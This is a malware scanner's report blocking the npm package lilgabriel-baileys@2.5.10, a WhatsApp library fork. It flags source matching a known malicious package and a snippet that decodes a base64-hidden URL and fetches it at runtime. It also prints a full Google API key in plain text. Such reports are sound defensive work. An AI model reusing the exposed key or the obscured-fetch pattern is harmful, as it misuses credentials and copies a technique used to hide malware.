lilgabriel-baileys@2.5.10: Malicious npm security report (Block) | LPM Firewall

Loading npm security reports…

lilgabriel-baileys@2.5.10: Malicious npm security report (Block) | LPM Firewall

Source & flagged code

8 flagged · loading source

lib/WABinary/constants.jsView file

603patternName = google_api_key severity = high line = 603 matchedText = 'AIzaSyD...Lk',

High

High Secret

Package contains a high-severity secret pattern.

lib/WABinary/constants.jsView on unpkg · L603

603patternName = google_api_key severity = high line = 603 matchedText = 'AIzaSyD...Lk',

High

Secret Pattern

Google API key in lib/WABinary/constants.js

lib/WABinary/constants.jsView on unpkg · L603

lib/Utils/messages-media.jsView file

•matchType = normalized_sha256 matchedPackage = megan-baileys@1.0.11 matchedPath = lib/Utils/messages-media.js matchedIdentity = npm:bWVnYW4tYmFpbGV5cw:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/Utils/messages-media.jsView on unpkg

256try { L257: const { default: decoder } = await eval("import('audio-decode')"); L258: let audioData;

Low

Eval

Package source references a known benign dynamic code generation pattern.

lib/Utils/messages-media.jsView on unpkg · L256

lib/Socket/newsletter.jsView file

43const fetch = require('node-fetch'); L44: const url = Buffer.from("[redacted]==", 'base64').toString(); L45: const response = await fetch(url);

High

Base64 Obscured Url

Source decodes a Base64-obscured HTTP endpoint at runtime.

lib/Socket/newsletter.jsView on unpkg · L43

WAProto/GenerateStatics.shView file

•path = WAProto/GenerateStatics.sh kind = build_helper sizeBytes = 140 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

WAProto/GenerateStatics.shView on unpkg

WAProto/index.jsView file

•path = WAProto/index.js kind = oversized_source_file sizeBytes = 8402946 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

WAProto/index.jsView on unpkg

lib/Utils/messages.jsView file

•matchType = normalized_sha256 matchedPackage = megan-baileys@1.0.11 matchedPath = lib/Utils/messages.js matchedIdentity = npm:bWVnYW4tYmFpbGV5cw:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/Utils/messages.jsView on unpkg

Source & flagged code

8 flagged

lib/WABinary/constants.jsView file

Lines 583-623javascript

583 '044',

584 'mms_cat_v1_forward_hot_override_enabled',

585 'user_notice',

586 'ptt_waveform_send',

587 '047',

588 'Asia/Calcutta',

589 '250',

590 'md_privacy_v2',

591 '31',

592 '29',

593 '128',

594 'md_messaging_enabled',

595 '046',

596 'crypto',

597 '690',

598 '045',

599 'enc_iv',

600 '75',

601 'failure',

602 'ptt_oot_playback',

603 'AIzaSyDR5yfaG7OG8sMTUj8kfQEb8T9pN8BM6Lk',

High

High Secret

Package contains a high-severity secret pattern.

lib/WABinary/constants.jsView on unpkg · L603

High

Secret Pattern

Google API key in lib/WABinary/constants.js

lib/WABinary/constants.jsView on unpkg · L603

604 'w',

605 '048',

606 '2201',

607 'web_large_files_ui',

608 'Asia/Makassar',

609 '812',

610 'status_collapse_muted',

611 '1334',

612 '257',

613 '2HP4dm',

614 '049',

615 'patches',

616 '1290',

617 '43cY6T',

618 'America/Caracas',

619 'web_sticker_maker',

620 'campaign',

621 'ptt_pausable_enabled',

622 '33',

623 '42',

lib/Utils/messages-media.jsView file

Lines 236-276javascript

236 const musicMetadata = await Promise.resolve().then(() => __importStar(require('music-metadata')));

237 let metadata;

lib/Socket/newsletter.jsView file

Lines 23-63javascript

23 mute_state: viewer.mute

24 };

25};

26const parseNewsletterMetadata = (result) => {

27 if (typeof result !== 'object'

WAProto/GenerateStatics.shView file

•path = WAProto/GenerateStatics.sh kind = build_helper sizeBytes = 140 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

WAProto/GenerateStatics.shView on unpkg

WAProto/index.jsView file

•path = WAProto/index.js kind = oversized_source_file sizeBytes = 8402946 magicHex = [redacted]

Medium

Oversized Source File

Package contains source files above the normal full-analysis size ceiling.

WAProto/index.jsView on unpkg

lib/Utils/messages.jsView file

•matchType = normalized_sha256 matchedPackage = megan-baileys@1.0.11 matchedPath = lib/Utils/messages.js matchedIdentity = npm:bWVnYW4tYmFpbGV5cw:1.0.11 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

lib/Utils/messages.jsView on unpkg